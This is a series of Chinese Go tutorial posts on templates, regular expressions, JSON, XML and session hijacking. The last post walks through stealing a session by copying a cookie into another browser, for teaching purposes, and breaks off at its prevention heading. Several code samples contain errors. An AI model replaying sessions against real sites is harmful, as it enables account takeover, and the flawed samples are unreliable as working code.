假设我们的Go程序中有一个与其EmailDealWith对应函数关联的emailDeal模板函数。我们可以使用以下代码来注册这个函数：

t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})

EmailDealWith的定义如下

func EmailDealWith(args …interface{}) string

具体实例如下

package main

import (
 "fmt"
 "html/template"
 "os"
 "strings"
)

type Friend struct {
 Fname string
}

type Person struct {
 UserName string
 Emails []string
 Friends []*Friend
}

func EmailDealWith(args ...interface{}) string {
 ok := false
 var s string
 if len(args) == 1 {
 s, ok = args[0].(string)
 }
 if !ok {
 s = fmt.Sprint(args...)
 }
 // find the @ symbol
 substrs := strings.Split(s, "@")
 if len(substrs) != 2 {
 return s
 }
 // replace the @ by " at "
 return (substrs[0] + " at " + substrs[1])
}

func main() {
 f1 := Friend{Fname: "durban1"}
 f2 := Friend{Fname: "durban2"}
 t := template.New("fieldname example")
 t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
 t, _ = t.Parse(`hello {{.UserName}}!
 {{range .Emails}}
 an emails {{.|emailDeal}}
 {{end}}
 {{with .Friends}}
 {{range .}}
 my friend name is {{.Fname}}
 {{end}}
 {{end}}
 `)
 p := Person{UserName: "Durban",
 Emails: []string{"[email protected]", "[email protected]"},
 Friends: []*Friend{&f1, &f2}}
 t.Execute(os.Stdout, p)
}

编译后运行得到的结果如下

hello Durban!

 an emails durban.zhang at gmail.com

 an emails durban.zhang at 126.com

 my friend name is durban1

 my friend name is durban2

以下是内置模板函数的列表：

var builtins = FuncMap{
 "and": and,
 "call": call,
 "html": HTMLEscaper,
 "index": index,
 "js": JSEscaper,
 "len": length,
 "not": not,
 "or": or,
 "print": fmt.Sprint,
 "printf": fmt.Sprintf,
 "println": fmt.Sprintln,
 "urlquery": URLQueryEscaper,
}

今天的学习分享就到这里，继续关注。

Go基础学习记录之模板(template)[一]

Fri, 01 Aug 2025 11:35:47 +0000

模板(一)

什么是模板

希望您了解MVC(模型，视图，控制器)设计模型，其中模型处理数据，视图显示结果，最后，控制器处理用户请求。
对于视图，许多动态语言通过在静态HTML文件中编写代码来生成数据。
例如，JSP是通过插入<%=...=>，PHP是通过等插入<php?...?>来实现的。

以下演示了模板机制

Hello, my name is {NAME} ----|
 |------Hello, my name is Mary
NAME = "Mary" ----|

Web应用程序响应客户端的大多数内容都是静态的，动态部分通常非常小。
例如，如果您需要显示访问过页面的列表用户，则只有用户名是动态的。
列表的样式保持不变。
如您所见，模板对于重用静态内容非常有用。

在Go中使用模板

在Go中，我们有模板包来帮助处理模板。
我们可以使用Parse，ParseFile和Execute等函数从纯文本或文件加载模板，然后评估动态部分

func handler(w http.ResponseWriter, r *http.Request) {
 t := template.New("some template") // 创建一个模板
 t, _ = t.ParseFiles("templates/welcome.html", nil) // 解析模板文件
 user := GetUser() // 获取当前用户信息
 t.Execute(w, user) // 将模板和变量整合
}

正如您所看到的，它在Go中的模板中使用，加载和呈现数据非常容易，就像在其他编程语言中一样。
为方便起见，我们将在示例中使用以下规则：

使用Parse替换ParseFiles，因为Parse可以直接从字符串测试内容，因此我们不需要任何额外的文件。
对每个示例使用main，不要使用handler。
使用os.Stdout替换http.ResponseWriter，因为os.Stdout也实现了io.Writer接口。

将数据插入模板

我们刚刚向您展示了如何解析和呈现模板。
下面让我们更进一步，将数据呈现给我们的模板。
每个模板都是Go中的一个对象，那么我们如何将字段插入到模板中？

字段

在Go中，您打算在模板中呈现的每个字段都应放在{{}}内。
{{.}}是当前对象的简写，类似于Java或C++。
如果要访问当前对象的字段，则应使用{{.FieldName}}。
请注意，只能在模板中访问导出的字段。
这是一个例子：

package main

import (
 "html/template"
 "os"
)

type Person struct {
 UserName string
}

func main() {
 t := template.New("fieldname example")
 t, _ = t.Parse("hello {{.UserName}}!")
 p := Person{UserName: "Durban"}
 t.Execute(os.Stdout, p)
}

运行后得到的结果如下

hello Durban!

上面的例子正确地输出了hello Durban，但如果我们稍微修改一下我的结构，会出现以下错误：

type Person struct {
 UserName string
 email string // 字段没有被导出
}

t, _ = t.Parse("hello {{.UserName}}! {{.email}}")

这部分代码将不会被编译，因为我们尝试访问尚未导出的字段。
但是，如果我们尝试使用不存在的字段，Go只会输出一个空字符串而不是错误。

如果在模板中打印{{.}}，Go会输出此对象的格式化字符串，并在封面下调用fmt。

嵌套字段

我们现在知道如何输出一个字段。
如果该字段是一个对象，它也有自己的字段怎么办？
我们如何在一个循环中打印它们？
我们可以使用{{with …}}…{{end}}和{{range …}}{{end}}来达到这个目的。

{{range}}就像Go中的范围一样。
{{with}}允许您编写相同的对象名称并使用.作为它的简写(类似于在VB中)。

比如下面的这个例子

package main

import (
 "html/template"
 "os"
)

type Friend struct {
 Fname string
}

type Person struct {
 UserName string
 Emails []string
 Friends []*Friend
}

func main() {
 f1 := Friend{Fname: "durban1"}
 f2 := Friend{Fname: "durban2"}
 t := template.New("fieldname example")
 t, _ = t.Parse(`hello {{.UserName}}!
 {{range .Emails}}
 an email {{.}}
 {{end}}
 {{with .Friends}}
 {{range .}}
 my friend name is {{.Fname}}
 {{end}}
 {{end}}
 `)
 p := Person{UserName: "Durban",
 Emails: []string{"[email protected]", "durban,[email protected]"},
 Friends: []*Friend{&f1, &f2}}
 t.Execute(os.Stdout, p)
}

编译运行后得到的结果类似如下

hello Durban!

 an email [email protected]

 an email durban,[email protected]

 my friend name is durban1

 my friend name is durban2

今天分享就到这里，请继续关注后续分享

Go基础学习记录之正则表达式

Fri, 01 Aug 2025 11:35:44 +0000

正则表达式

正则表达式(“Regexp”)是一种复杂但功能强大的正则匹配和文本操作工具。
虽然它的表现不如纯文本匹配，但它更灵活。根据其语法，可以过滤源内容中的几乎任何类型的文本。
如果需要在Web开发中收集数据，使用Regexp检索有意义的数据并不困难。

Go有regexp包，它为regexp提供官方支持。
如果已经在其他编程语言中使用了regexp，那么应该熟悉它。
注意，除了\C之外，Go实现了RE2标准。
有关详细信息，请访问以下链接：http：//code.google.com/p/re2/wiki/Syntax。

Go的字符串包实际上可以执行许多工作，如搜索(包含，索引)，替换(替换)，解析(拆分，连接)等，并且它比Regexp更快。
但是，这些都是微不足道的操作。
如果要搜索不区分大小写的字符串，Regexp应该是您的最佳选择。
因此，如果字符串包足以满足您的需求，只需使用它，因为它易于使用和阅读;
如果您需要执行更高级的操作，请使用Regexp。

如果您看过前面几篇文章，有篇文章的表单验证，我们使用Regexp来验证用户输入信息的有效性。
请注意，所有字符都是UTF-8。
下面让我们了解Go regexp包的更多信息！

正则匹配

regexp包有3个匹配的函数：如果匹配了一个正则，则返回true，否则返回false。

func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)

这3个函数检查输入源输入的内容是否与正则匹配，如果匹配则返回true。
但是，如果您的Regex有语法错误，它将返回错误。
这些函数的3个输入源是slice of byte，RuneReader和string。
以下是验证IP地址的示例：

func IsIP(ip string) (b bool) {
	if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
		return false
	}

	return true
}

如上所见，在regexp包中使用正则并没有什么不同。
以下是验证用户输入是否有效的另一个示例：

func IsNumber() {
	if len(os.Args) == 1 {
		fmt.Println("Usage: regexp [string]")
		os.Exit(1)
	} else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
		fmt.Println("Number")
	} else {
		fmt.Println("Not number")
	}
}

在上面的例子中，我们使用Match(Reader|String)来检查内容是否有效，但它们都很容易使用。

正则过滤

匹配正则可以验证内容，但不能从中剪切，过滤或收集数据。
如果你想这样做，你必须使用Regexp的复杂正则。
假设我们需要编写一个爬虫。
以下是必须使用Regexp过滤和剪切数据的示例。

package helpers

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"regexp"
	"strings"
)

func FetchWebContent() {
	resp, err := http.Get("https://www.baidu.com")
	if err != nil {
		fmt.Println(err)
		return
	}

	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)

	if err != nil {
		fmt.Println(err)
		return
	}

	src := string(body)

	// 将HTML标签转换为小写
	re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
	src = re.ReplaceAllStringFunc(src, strings.ToLower)

	// 移除 STYLE样式
	re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
	src = re.ReplaceAllString(src, "")

	// 移除 SCRIPT标签的内容
	re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
	src = re.ReplaceAllString(src, "")

	// 删除尖括号中的所有HTML代码，并替换为换行符。
	re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
	src = re.ReplaceAllString(src, "\n")

	// 删除连续换行符
	re, _ = regexp.Compile("\\s{2,}")
	src = re.ReplaceAllString(src, "\n")

	fmt.Println(strings.TrimSpace(src))
}

在这个例子中，我们使用Compile作为复杂正则的第一步。
它验证您的Regex语法是否正确，然后返回Regexp以解析其他操作中的内容。
以下是一些解析Regexp语法的函数：

func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp

ComplePOSIX和Compile之间的区别在于前者必须使用最左边最长搜索的POSIX语法，而后者只是最左边的搜索。
例如，对于Regexp [a-z]{2,4}和内容"aa09aaa88aaaa"，CompilePOSIX返回aaaa但Compile返回aa。
当Regexp语法不正确时，Must前缀意味着panic，否则返回错误。
现在我们知道如何创建一个新的Regexp，让我们看看这个结构提供的方法如何帮助我们对内容进行操作：

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

这18个方法包括不同输入源(byte slice, string 和 io.RuneReader)的相同函数，因此我们可以通过忽略输入源来真正简化此列表，如下所示：

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

代码示例：

package helpers

import (
	"fmt"
	"regexp"
)

func Find() {
	a := "I am learning Go language"

	re, _ := regexp.Compile("[a-z]{2,4}")
	// 找到第一个匹配的
	one := re.Find([]byte(a))
	fmt.Println("Find:", string(one))

	// 找到所有匹配并保存到切片，n小于0表示返回所有匹配，如果大于0，则表示切片长度
	all := re.FindAll([]byte(a), -1)
	fmt.Println("FindAll:", all)

	// 查找第一个匹配，开始和结束位置的索引。
	index := re.FindIndex([]byte(a))
	fmt.Println("FindIndex:", index)

	// 查找所有匹配的索引，n执行与上面相同的工作。
	allindex := re.FindAllIndex([]byte(a), -1)
	fmt.Println("FindAllIndex:", allindex)

	re2, _ := regexp.Compile("am(.*)lang(.*)")

	// 找到第一个子匹配和返回数组，第一个元素包含所有元素，第二个元素包含first()的结果，第三个元素包含second()的结果
	// 执行后输出如下
	// the first element:am learning Go language
	// the second element: learning Go
	// the third element:uage
	submatch := re2.FindSubmatch([]byte(a))
	fmt.Println("FindSubmatch:", submatch)

	for _, v := range submatch {
		fmt.Println(string(v))
	}

	// 类似于FindIndex()
	submatchindex := re2.FindSubmatchIndex([]byte(a))
	fmt.Println("FindSubmatchIndex:", submatchindex)

	// FindAllSubmatch 找到所有子匹配
	allsubmatch := re2.FindAllSubmatch([]byte(a), -1)
	fmt.Println("FindAllSubmatch:", allsubmatch)

	// FindAllSubmatchIndex 找到所有子匹配的所以
	allsubmatchindex := re2.FindAllSubmatchIndex([]byte(a), -1)
	fmt.Println("FindAllSubmatchIndex:", allsubmatchindex)

}

正如我们之前提到的，Regexp还有3种匹配方法。
它们与导出的函数完全相同。
事实上，那些导出的函数实际上是在引擎盖下调用这些方法：

func (re *Regexp) Match(b []byte) bool
func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool

接下来，让我们看看如何使用Regex替换字符串：

func (re *Regexp) ReplaceAll(src, repl []byte) []byte
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string

这些用于在刚才的爬行示例，因此我们在此不再进一步解释。
我们来看看Expand的定义：

func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte

那么我们如何使用Expand？

package helpers

import (
	"fmt"
	"regexp"
)

func Expand() {
	src := []byte(`
		call hello alice
		hello bob
		call hello eve
	`)

	pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\S+(?P<arg>.+)\s*$`)
	res := []byte{}
	for _, s := range pat.FindAllSubmatchIndex(src, -1) {
		res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
	}
	fmt.Println(string(res))
}

此时，您已经在Go中学习了整个正则表达式包。
我希望你能通过研究关键方法的例子来了解更多，这样你就可以自己做一些有趣的事情。

Go基础学习记录之如何解析并生成JSON

Fri, 01 Aug 2025 11:35:39 +0000

JSON

JSON（JavaScript Object Notation）是一种基于文本描述的轻量级数据交换语言。
它的优点包括自我描述，易于理解等。即使它是JavaScript的一个子集，JSON使用不同的文本格式，结果是它可以被视为一种独立的语言。
JSON与C系列语言具有相似性。
JSON和XML之间最大的区别在于XML是一种完整的标记语言，而JSON则不是。
JSON比XML更小更快，因此在浏览器中解析更加容易和快捷，这也是许多开放平台选择使用JSON作为数据交换接口语言的原因之一。
由于JSON在Web开发中变得越来越重要，让我们来看看Go对JSON的支持程度。
你会发现Go的标准库对编码和解码JSON有很好的支持。

{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}

后面的部分将使用此JSON数据在Go中引入JSON概念。

解析JSON

解析为Struct

假设我们在上面的例子中有JSON。
我们如何解析这些数据并将其映射到Go中的结构？Go为此提供了以下功能：

func Unmarshal(data []byte, v interface{}) error

我们可以像这样使用这个函数：

package controllers

import (
 "encoding/json"
 "fmt"
 "net/http"
)

type JsonServer struct {
 ServerName string
 StringIP string
}

type JsonServers struct {
 Servers []JsonServer
}

func Json(w http.ResponseWriter, r *http.Request) {
 var s JsonServers
 str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
 json.Unmarshal([]byte(str), &s)
 fmt.Println(str)
}

运行后得到如下结果

{[{Shanghai_VPN 127.0.0.1} {Beijing_VPN 127.0.0.2}]}

在上面的示例中，我们在Go中为JSON定义了相应的结构，使用slice作为JSON对象数组，使用字段名作为JSON键。
但Go如何知道哪个JSON对象对应于哪个特定结构域？
假设我们在JSON中有一个名为Foo的键。
我们如何找到相应的字段？

首先，Go尝试查找标签包含Foo的（大写）导出字段。
如果找不到匹配项，请查找名称为Foo的字段。
如果仍然没有匹配，请查找类似FOO或FoO的内容，忽略区分大小写。
您可能已经注意到，应该导出要分配的所有字段，并且Go仅分配可以找到的字段，而忽略所有其他字段。
如果您需要处理大块的JSON数据，但只有它的一个特定子集，这可能很有用。
您不需要的数据很容易被丢弃。

解析为接口

当我们事先知道期望什么样的JSON时，我们可以将它解析为特定的结构。
但是，如果我们不知道怎么办？
我们知道interface{}可以是Go中的任何内容，因此它是保存未知格式的JSON的最佳容器。
JSON包使用map[string]interface{}和[]interface{}来保存各种JSON对象和数组。
以下是JSON映射关系列表：

bool代表JSON布尔值，
float64代表JSON数字，
string表示JSON字符串，
nil表示JSON null。

假设我们有以下JSON数据：

b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

现在我们将这个JSON解析为interface{}：

var f interface{}
err := json.Unmarshal(b, &f)

f存储一个映射，其中键是字符串，值是interface{}’s’。

f = map[string]interface{}{
 "Name": "Wednesday",
 "Age": 6,
 "Parents": []interface{}{
 "Gomez",
 "Morticia",
 },
}

那么，我们如何访问这些数据？键入断言。

m := f.(map[string]interface{})

断言后，您可以使用以下代码访问数据:

for k, v := range m {
 switch vv := v.(type) {
 case string:
 fmt.Println(k, "is string", vv)
 case int:
 fmt.Println(k, "is int", vv)
 case float64:
 fmt.Println(k,"is float64",vv)
 case []interface{}:
 fmt.Println(k, "is an array:")
 for i, u := range vv {
 fmt.Println(i, u)
 }
 default:
 fmt.Println(k, "is of a type I don't know how to handle")
 }
}

如您所见，我们现在可以通过interface{}解析未知格式的JSON并键入断言。
以上示例是官方解决方案，但类型断言并不总是方便。
因此，我推荐一个名为simplejson的开源项目，由bitly创建和维护。
以下是如何使用此项目处理未知格式的JSON的示例：

js, err := NewJson([]byte(`{
 "test": {
 "array": [1, "2", 3],
 "int": 10,
 "float": 5.150,
 "bignum": 9223372036854775807,
 "string": "simplejson",
 "bool": true
 }
}`))

arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()

不难看出这是多么方便。
查看存储库以查看更多信息：
https://github.com/bitly/go-simplejson.

生成JSON

在许多情况下，我们需要生成JSON数据并响应客户端。
在Go中，JSON包有一个名为Marshal的函数来执行以下操作：

func Marshal(v interface{}) ([]byte, error)

假设我们需要生成服务器信息列表。
我们有以下样本：

package controllers

import (
 "encoding/json"
 "fmt"
 "net/http"
)

type JsonServer struct {
 ServerName string
 ServerIP string
}

type JsonServers struct {
 Servers []JsonServer
}

func JsonProcess(w http.ResponseWriter, r *http.Request) {
 var s JsonServers
 s.Servers = append(s.Servers, JsonServer{
 ServerName: "Shanghai_VPN",
 ServerIP: "127.0.0.1",
 })

 s.Servers = append(s.Servers, JsonServer{
 ServerName: "Beijing_VPN",
 ServerIP: "127.0.0.2",
 })

 b, err := json.Marshal(s)

 if err != nil {
 fmt.Println("json err:", err)
 return
 }

 fmt.Println(string(b))
}

输出结果如下:

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}

如您所知，所有字段名称都是大写的，但如果您希望JSON键名以小写字母开头，则应使用struct标签。
否则，Go将不会为内部字段生成数据。

type JsonServer struct {
 ServerName string `json:"serverName"`
 ServerIP string `json:"serverIP"`
}

type JsonServers struct {
 Servers []JsonServer `json:"servers"`
}

在此修改之后，我们可以生成与以前相同的JSON数据。
在尝试生成JSON时，您需要记住以下几点：

不输出包含“ - ”的字段标签。
如果标记包含自定义名称，则Go使用此名称而不是字段名称，如上例中的serverName。
如果标签包含omitempty，则如果该字段为零值，则不会输出该字段。
如果字段类型是bool，string，int，int64等，并且其标记包含",string"，则Go会将此字段转换为其对应的JSON类型。
示例如下

type TestJsonServer struct {
	// ID不会被输出
	ID int `json:"-"`

	// ServerName2 不会转换为JSON类型
	ServerName string `json:"serverName"`
	ServerName2 string `json:"serverName2,string"`

	// 如果ServerIP是空的将不会被输出
	ServerIP string `json:"serverIP,omitempty"`
}

func JsonToTest(w http.ResponseWriter, r *http.Request) {
	s := TestJsonServer{
		ID: 3,
		ServerName: `Go "1.0" `,
		ServerName2: `Go "1.0" `,
		ServerIP: ``,
	}

	b, _ := json.Marshal(s)
	os.Stdout.Write(b)
}

输出如下

{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}

Marshal函数只有在成功时返回数据，所以这里有一些我们需要记住的要点：

JSON仅支持字符串作为键，因此如果要对映射进行编码，则其类型必须为map[string]T，其中T是Go中的类型。
通道，复杂类型和函数等类型无法编码为JSON。
不要尝试编码循环数据，它会导致无限递归。
如果该字段是指针，则Go输出它指向的数据，否则如果指向nil则输出null。

Go基础学习记录之如何解析并生成XML

Fri, 01 Aug 2025 11:35:30 +0000

XML

XML是Web服务中常用的数据通信格式。今天，它在Web开发中扮演着越来越重要的角色。本次分享将介绍如何通过Go的标准库使用XML。我不会尝试教授XML的语法或约定。你可以去阅读有关XML本身的更多文档。我只关注如何在Go中编码和解码XML文件。假设您在IT中工作，并且您必须处理以下XML配置文件：

<?xml version="1.0" encoding="utf-8"?>
<servers version="1">
 <server>
 <serverName>Shanghai_VPN</serverName>
 <serverIP>127.0.0.1</serverIP>
 </server>
 <server>
 <serverName>Beijing_VPN</serverName>
 <serverIP>127.0.0.2</serverIP>
 </server>
</servers>

上面的XML文档包含有关服务器的两种信息：服务器名称和IP。我们将在以下示例中使用此文档。

解析XML

如何解析这个XML文档？可以使用Go的xml包中的Unmarshal函数来执行此操作。

func Unmarshal(data []byte, v interface{}) error

data参数从XML源接收数据流，v是要将解析后的XML输出到的结构中。它是一个接口，这意味着您可以将XML转换为您想要的任何结构。在这里，我们只讨论如何从XML转换为结构类型，因为它们共享相似的树结构。
示例代码：

package main

import (
 "encoding/xml"
 "fmt"
 "io/ioutil"
 "os"
)

type Server struct {
	XMLName xml.Name `xml:"server"`
	ServerName string `xml:"serverName"`
	ServerIP string `xml:"serverIP"`
}

type XMLServers struct {
	XMLName xml.Name `xml:"servers"`
	Version string `xml:"version,attr"`
	Servers []Server `xml:"server"`
	Description string `xml:",innerxml"`
}

func main() {
 file, err := os.Open(config.TemplateDir + "/server.xml")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer file.Close()
	data, err := ioutil.ReadAll(file)
	if err != nil {
		fmt.Println(err)
		return
	}

	v := XMLServers{}
	err = xml.Unmarshal(data, &v)
	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Fprintln(w, v)
}

XML实际上是一个树数据结构，我们可以使用Go中的结构定义一个非常相似的结构，然后使用xml.Unmarshal从XML转换为我们的struct对象。示例代码将打印以下内容：

{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] 
 <server>
 <serverName>Shanghai_VPN</serverName>
 <serverIP>127.0.0.1</serverIP>
 </server>
 <server>
 <serverName>Beijing_VPN</serverName>
 <serverIP>127.0.0.2</serverIP>
 </server>
}

我们使用xml.Unmarshal将XML文档解析为相应的struct对象。您应该看到我们的结构中有xml:“serverName”。这是结构体的一个特征，称为结构标记，用于帮助反射。让我们再看一下Unmarshal的定义：

func Unmarshal(data []byte, v interface{}) error

第一个参数是XML数据流。第二个参数是存储类型，支持struct，slice和string类型。Go的XML包使用反射进行数据映射，因此应该导出v中的所有字段。但是，这会导致一个问题：它如何知道哪个XML字段对应于映射的struct字段？答案是XML解析器按特定顺序解析数据。库将首先尝试查找匹配的struct标记。如果找不到匹配，则搜索结构字段名称。请注意，所有标记，字段名称和XML元素都区分大小写，因此您必须确保映射成功时存在一对一的对应关系。Go的反射机制允许您使用此标记信息将XML数据反映到结构对象。如果您想了解有关Go中反射的更多信息，请阅读有关struct标签和反射的包文档。

使用xml包将XML文档解析为结构时，以下是一些规则：

如果字段类型是带有标签",innerxml"的字符串或[]字节，则Unmarshal将为其分配原始XML数据，如上例中的描述：
Shanghai_VPN127.0.0.1Beijing_VPN
如果一个字段被称为XMLName并且其类型是xml.Name，那么它将获取元素名称，就像上面示例中的servers一样。
如果字段的标记包含相应的元素名称，那么它也会获取元素名称，如上例中的servername和serverip。
如果字段的标记包含",attr"，则它获取相应元素的属性，如上例中的版本。
如果字段的标记包含类似"a>b>c"的内容，则它获取节点a的节点b的元素c的值。
如果字段的标记包含"="，那么它什么也得不到。
如果字段的标记包含",any"，则它将获取所有不符合其他规则的子元素。

8.如果XML元素有一个或多个注释，则所有这些注释都将添加到包含",comments"的标记的第一个字段中。该字段类型可以是string或[]byte。如果此类字段不存在，则丢弃所有注释。

这些规则告诉您如何在结构中定义标记。一旦理解了这些规则，将XML映射到结构就像上面的示例代码一样简单。因为标签和XML元素具有一对一的对应关系，所以我们也可以使用切片来表示同一级别上的多个元素。请注意，结构中的所有字段都应导出(大写)，以便正确解析数据。

生成XML

如果我们想要生成XML文档而不是解析XML文档，该怎么办？我们如何在Go中做到这一点？xml包提供了两个函数，即Marshal和MarshalIndent，其中第二个函数自动缩进编组的XML文档。
他们的定义如下：

func Marshal(v interface{}) ([]byte, error)
func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error)

这两个函数中的第一个参数用于存储编组的XML数据流。让我们看一个例子，看看它是如何工作的：

package main

import (
 "encoding/xml"
 "fmt"
 "os"
)

type Server struct {
	XMLName xml.Name `xml:"server"`
	ServerName string `xml:"serverName"`
	ServerIP string `xml:"serverIP"`
}

type XMLServers struct {
	XMLName xml.Name `xml:"servers"`
	Version string `xml:"version,attr"`
	Servers []Server `xml:"server"`
	Description string `xml:",innerxml"`
}

func main() {
 v := &XMLServers{
		Version: "1",
	}

	v.Servers = append(v.Servers, Server{
		ServerName: "Shanghai_VPN",
		ServerIP: "127.0.0.1",
	})

	v.Servers = append(v.Servers, Server{
		ServerName: "Beijing_VPN",
		ServerIP: "127.0.0.2",
	})

	output, err := xml.MarshalIndent(v, "", " ")
	if err != nil {
		fmt.Println(err)
		return
	}

	os.Stdout.Write([]byte(xml.Header))
	os.Stdout.Write(output)
}

上面的示例打印以下信息：

<?xml version="1.0" encoding="UTF-8"?>
<servers version="1">
 <server>
 <serverName>Shanghai_VPN</serverName>
 <serverIP>127.0.0.1</serverIP>
 </server>
 <server>
 <serverName>Beijing_VPN</serverName>
 <serverIP>127.0.0.2</serverIP>
 </server>
</servers>

正如我们之前定义的那样，我们有os.Stdout.Write([] byte(xml.Header))的原因是因为xml.MarshalIndent和xml.Marshal都没有自己输出XML头，所以我们必须明确
打印它们以便正确生成XML文档。在这里我们可以看到Marshal还接收了一个类型为interface {}的v参数。那么编组XML文档时的规则是什么？

如果v是数组或切片，则它会打印所有元素，如value。
如果v是指针，则它打印v指向的内容，当v为nil时不打印任何内容。
如果v是一个接口，它也会处理接口。
如果v是其他类型之一，则打印该类型的值。

那么xml.Marshal如何决定元素的名称？它遵循随后的规则：

如果v是结构，则它在XMLName的标记中定义名称。
字段名称为XMLName，类型为xml.Name。
struct中的字段标记。
struct中的字段名称。
输入编组名称。

然后我们需要弄清楚如何设置标记以生成最终的XML文档。

不会打印XMLName。
包含"-“标签的字段将不会被打印。
如果标记包含"name,attr”，则它使用name作为属性名称，使用字段值作为值，就像上面示例中的版本一样。
如果标记包含",attr"，则它使用字段的名称作为属性名称，将字段值作为其值。
如果标签包含",chardata"，则它会打印字符数据而不是元素。
如果标签包含",innerxml"，则打印原始值。
如果标记包含",comment"，则会将其作为注释打印而不进行转义，因此您的值不能包含"-"。
如果标记包含"omitempty"，则如果其值为零值，则忽略该字段，包括false，0，nil指针或nil接口，数组的长度为零，slice，map和string。
如果标签包含"a>b>c"，则打印三个元素，其中a包含b，b包含c

Go基础学习记录之阻止Session劫持(Preventing session hijacking)

Fri, 01 Aug 2025 11:35:25 +0000

阻止Session劫持(Preventing session hijacking)

Session劫持是一种常见且严重的安全威胁。在与服务器通信时，客户端使用Session ID进行验证和其他目的。不幸的是，恶意第三方有时可以跟踪这些通信并找出客户端Session ID。
本次分享，将向您展示如何为教育目的劫持Session。

Session劫持过程

以下代码是count变量的计数器：

// WelcomeLogin 欢迎登录页
func WelcomeLogin(w http.ResponseWriter, r *http.Request) {
 session, err := appSession.SessionStart(w, r)
 if err != nil {
 fmt.Fprintf(w, "session error")
 return
 }

 count := session.Get("count")
 if count == nil {
 session.Set("count", 1)
 } else {
 session.Set("count", count.(int)+1)
 }

 t, err := template.ParseFiles(config.TemplateDir + "/login.html")

 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 return
 }

 err = t.Execute(w, session.Get("count"))

 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 return
 }
}

Hi. Now count:{{.}}

保持刷新直到数字变为10，然后打开浏览器的cookie管理器（我在这里使用firefox）。您应该能够看到以下信息：

{% img https://cdn.xiaorongmao.com/up/golang_web_30_1.png!/fh/500 "" %}

这一步非常重要：打开另一个浏览器(我在这里使用chrome)，将URL复制到新浏览器，打开一个cookie模拟器来创建一个新的cookie并输入与我们在第一个浏览器中看到的cookie完全相同的值。

刷新页面，您将看到以下内容：

{% img https://cdn.xiaorongmao.com/up/golang_web_30_2.png!/fh/500 "" %}

在这里，我们看到我们可以在不同浏览器之间劫持Session，并且在一个浏览器中执行的操作可以影响另一个浏览器中页面的状态。
因为HTTP是无状态的，所以无法知道来自chrome的Session ID是否被模拟，并且firefox也无法知道它的Session ID已被劫持。

防止Session劫持

